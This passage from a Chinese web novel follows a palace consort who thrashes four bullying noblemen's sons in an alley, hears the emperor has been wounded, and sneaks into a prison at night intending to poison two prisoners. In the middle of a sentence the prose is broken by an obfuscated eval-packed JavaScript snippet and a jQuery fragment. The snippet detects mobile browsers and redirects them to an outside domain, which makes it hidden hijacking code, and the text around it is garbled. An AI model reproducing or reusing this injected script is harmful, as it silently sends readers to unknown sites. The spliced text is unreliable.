“你们,是在找我吗?”
幽幽的声音从后方传来。
几人的心忽的咯噔一下,僵硬转过身后,见只有一个小女郎在不远处站着,瞬间又变得胆大起来。
“小美人,你可真会藏啊,”其中一个束发男子上前,“可叫哥哥好找。”
“是啊,哈哈哈……”
言翡双手抱胸靠墙站在暗处,半张脸藏于阴影下,明明月光那样惨淡,她的眸子却熠熠生辉,将眼底冷意展现的一干二净。
束发男子越靠近,越觉得眼前这人无论是身姿还是容色都堪称绝美,仅仅露出一截雪白脖颈,便让人不自觉想象沿着脖颈往下,会是一副什么样的景色。
他的神色愈发贪婪,没有注意到女郎看他的眼神冰寒至极。
“小美人走,哥几个带你舒服舒服……”男子同身后三人嘿嘿笑着,伸手就要抚摸她的脸。
言翡心底突然一阵恶寒,连带着嘴都嫌恶地抽了抽,她再也忍不住,骤然出手用力一按,就将束发男子的胳膊卸了下来。
她动作太快,几人都未反应过来,只看见有些昏暗的巷口,那人突然被掀翻狼狈摔在地上,随后发出杀猪般的惨叫。
这叫声在四周僻静的胡同中格外突兀,犹如清早第一声鸡叫划破长夜,昭告着新一天的到来。
可除了束发男子的尖叫,周围依旧静悄悄的,半点声音也无。
这种强烈的反差给剩余三人带来一种不好的预感。
但坏事做多了,总是抱有侥幸心理,更何况他们有四个人,一身蛮力,怎么可能会被一个女郎压倒?
定是大哥太不小心了,被那狡猾的女郎钻了空子。
他们没有溃逃,而是狠厉地交换了个眼神后,互相打气一番,齐齐冲了上去。
“老大,我们来救你!”
“你这贱妮子倒是不知好歹,大哥好心……”
话未说完,最先靠近的干瘦男子只模糊看见眼前人影一闪,猛然伸手去抓,却被言翡灵活躲过。
这些公子哥仗着家中厉害蛮横惯了,虽然功夫学的不到位,但男女力量的悬殊足以让他们在遇见弱者时达到碾压。
一般这种人是只会选择家世不如他们的人欺负,那些普通人不敢招惹是非,没有家族帮忙兜底,遇到这种事只能选择委曲求全。
如此一来这些人几乎成了恶霸。
干瘦男人一击不成,又毫无章法地出手,胡乱来抓她。
“我们大哥可是张家公子,你竟敢卸他胳膊,若想家里无事,就赶紧乖乖跪下来求饶,伺候舒服了,就……”
言翡忍无可忍地往他嘴上送了重重一拳。
也不偏心,雨露均沾,他有的剩下两人都有。
干瘦男人只感觉嘴部传来一股剧烈的痛,像是谁把烧的通红的烙铁扔在了他嘴上,痛的撕心裂肺。
他倒地一咳,嘴中血腥味蔓延,脖子再也忍不住往前一伸,吐出团红中带白的东西来。
“老纸的牙……”
其他二人也跟他情况差不多,爬起来捂着脸颊又惊又怕地看着她。
如今是个什么情况?这女郎力气怎么那么大?而且还是个中高手,出招果断又狠厉,压根不是跟他们玩的,是来真的!
不过,这种被扇嘴的感觉为什么那么熟悉……甚至连场景,都还原的很真实。
跟幼时吃瘪那次一模一样。
被一个女郎打得哭爹喊娘,灰溜溜逃走了。
埋在记忆深处的伤口被记起,几人看言翡的眼神瞬间带上恐惧和胆怯,全然没了方才的气势。
还要什么气势,当初揍他们的那个小姑娘,后面他们翻遍京城也没找到,跟人间蒸发了一样,要么身世隐秘,要么不是京城人。
这两种情况无论哪一种,他们都不想惹。
比他们权势高的不敢妄动,而大燕如此辽阔,外地人打了就跑,他们去哪找人?
几人拖着被卸了两条胳膊痛的起不来的束发男人慢慢往后退,颤抖的声音在空荡的巷子中格外明显。
而月光下,他们每退一步,言翡就笑眯眯地进一步。
“大耍……大耍我们错了,您大银有大量,晃过我们……”
如今他们看来,那张脸笑起来再也不是美得风华绝代娇软可欺,身上那层淡淡的月华反而衬得她像是催命的恶鬼,狰狞又凶狠。
听他们这么哀求,言翡不仅没止步,反而顺手抄起墙角的一块板砖掂了掂。
这个好,打人不脏手。
“你们不是想要我伺候你们么?那我,如你们所愿。”
见言翡一步步走近,已经退无可退的几人贴着墙壁,缩成一团哭着乞求:“不不不,不要事候,偷是我们的错,我们鬼迷心窍……”
话未说完,就见一只素白的手举着板砖狠狠砸下。
几人惊作鸟兽散,骤然迸发出力量四处逃跑,妄想逃出这个死胡同,渴望地朝着出口跑去。
可惜没跑几步,肩上忽然被捏得生疼,像是一个锋利的剔骨刀要将他的肩骨活生生剜出来一样,疼得整个人站立不稳直往地上缩。
“痛痛痛痛……”
见那人习惯性要来扯开她的手,言翡一使力,就将他们下饺子似的,一个个往后抛,摔在墙面发出巨响,旋即滑落在地。
这一下也让他们知道,自己是逃不出去了,往日高高在上的公子哥如今像条死鱼一样趴在地上,忍着浑身的痛意苦苦求饶。
“求求你了,我们塌应给你黄金百两,晃过我们吧。”
言翡冷冷的目光注视着他们。
本来最开始是想一板砖拍死,但现在想想,死真是便宜这些人了,怎么能让他们这么快乐又短暂地死去呢。
当然是要生不如死啊。
──
言翡回到喜临客栈时,只见云梧一人在门口焦急地张望。
她脸上带着柔和的笑意,乌黑的眸子往周围看了看,有点迷茫,像是好奇怎么只有云梧一人在这里。
云梧看见她,可算是松了一口气,但眉头依然拢着。
连忙上前相迎,语气急促:“贵人不好了,皇上遇刺受重伤,被抬回宫里去了。”
“什么!?”
“唐大人叫奴婢在此处等您,其他人也都已经跟着回去了。”
一瞬间,言翡心就像是掉入谷底,变得沉重。不已。
担忧和不安吞没了她大半心房,让她此刻归心似箭,她强撑着告诉自己,毕竟皇上是查清当年真相的最大助力,清除其他党羽后只要他下旨,还有什么东西会不见天日?
所以自己才会如此紧张他的状态。
可她还有事没做完……
当初答应了姜言翡,让姜程和赵氏两人下地狱找郑烟忏悔,皇上应该不会明面处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450668|169486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死他们,大抵就是先流放偏远之地,再在路上动手脚。
但如果被许家势力救走了呢,她日后去哪里找这两人?
她本想由唐纵领着正大光明进大理寺监狱,让他们吃下五日散,突发暴毙,届时也查不到她头上。
可偏偏唐纵也走了,在皇上受伤的情况下,她更应该第一时间回宫,既不留下话柄也能更好促进她和皇上的感情。
若是错过这一次机会,怕是就难了。
言翡向来是答应了别人的事,就一定会拼尽全力完成,从不会失约。
没做到的话,心里总是日夜不停地想着,那种巨大的亏欠感和愧疚会时刻折磨着她的每一根神经。
言翡沉默良久后开口:“皇上伤的重吗?”
“挺重的,流了好多血,都晕过去了。”
云梧听见她这么问,有些疑惑,难道贵人不准备和她立即回宫么?
言翡咬唇,眼眸盈盈间闪过倔强。
“是这样的云梧,我掉了一个全大燕独有的香囊,是我准备送给皇上的,他想了很久。你在这里等我,我沿路回去找,找到就来同你回宫。”
“贵人,我同你一起找。”
言翡迟疑片刻:“好,是一个绿色的香囊,一炷香后,不管找没找到,依旧在这里碰面。”
“奴婢知晓了。”
言翡立马转身,往来时路小跑而去。
云梧在原地呆愣了一会才动身,为什么她觉得贵人好像哪里变了一点呢……还是自己的错觉?
那个香囊应当是皇上期待很久的心爱之物吧,才会让贵人如此看重,说明贵人还是非常在意皇上的,反正……反正宫里太医医术高超,皇上一定会好起来!
等好起来看见香囊也会非常开心的吧……
唔不胡思乱想了,还是找香囊要紧!
──
如今天色渐晚,路上的人少了许多,零零散散几个游荡在外面。
待刚过拐角看不见云梧的身影后,言翡当即闪进了小巷。
片刻后,屋顶就出现一个穿着夜行衣,身量纤细的身影,她只露出两只眼睛,整个人几乎隐在黑夜中。
她在屋檐上踩着瓦片飞速而过,未曾发出一点声音。
不久后,言翡就到了大理寺附近,她蹲下身,认真又飞快地往下扫了几眼。
人挺多,打瞌睡的也挺多。
本来还想着要不要在近处放把火吸引一些人离开,现在看来此举不太必要。
不仅达不到效果,反而会把他们全部惊醒。
她循着阴影,几个翻身就滚落进去。
此处倒是很大,大理寺监狱就在右边,此刻刚换班不久。
门口有两个守卫,正百无聊赖地聊天。
其中高个子那个见旁边那人半天不接话,不耐烦地扭头,正想骂上两句,就察觉脖子被一冰冷之物抵住。
地上已经躺了一人,不知是死了还是晕了。
高个子的眼神从那人身上收回,旋即颤颤巍巍举手:“别杀我。”
“姜程在哪个牢房?”
一道清冽的男声从脑后传来。
高个子一动,那柄锋利的匕首就在他脖子上留了划痕,丝丝血迹流出。
他不敢撒谎:“在,在最里面的牢房里。”
话刚说完,言翡就一手刀将他打晕,伪造成熟睡的状态。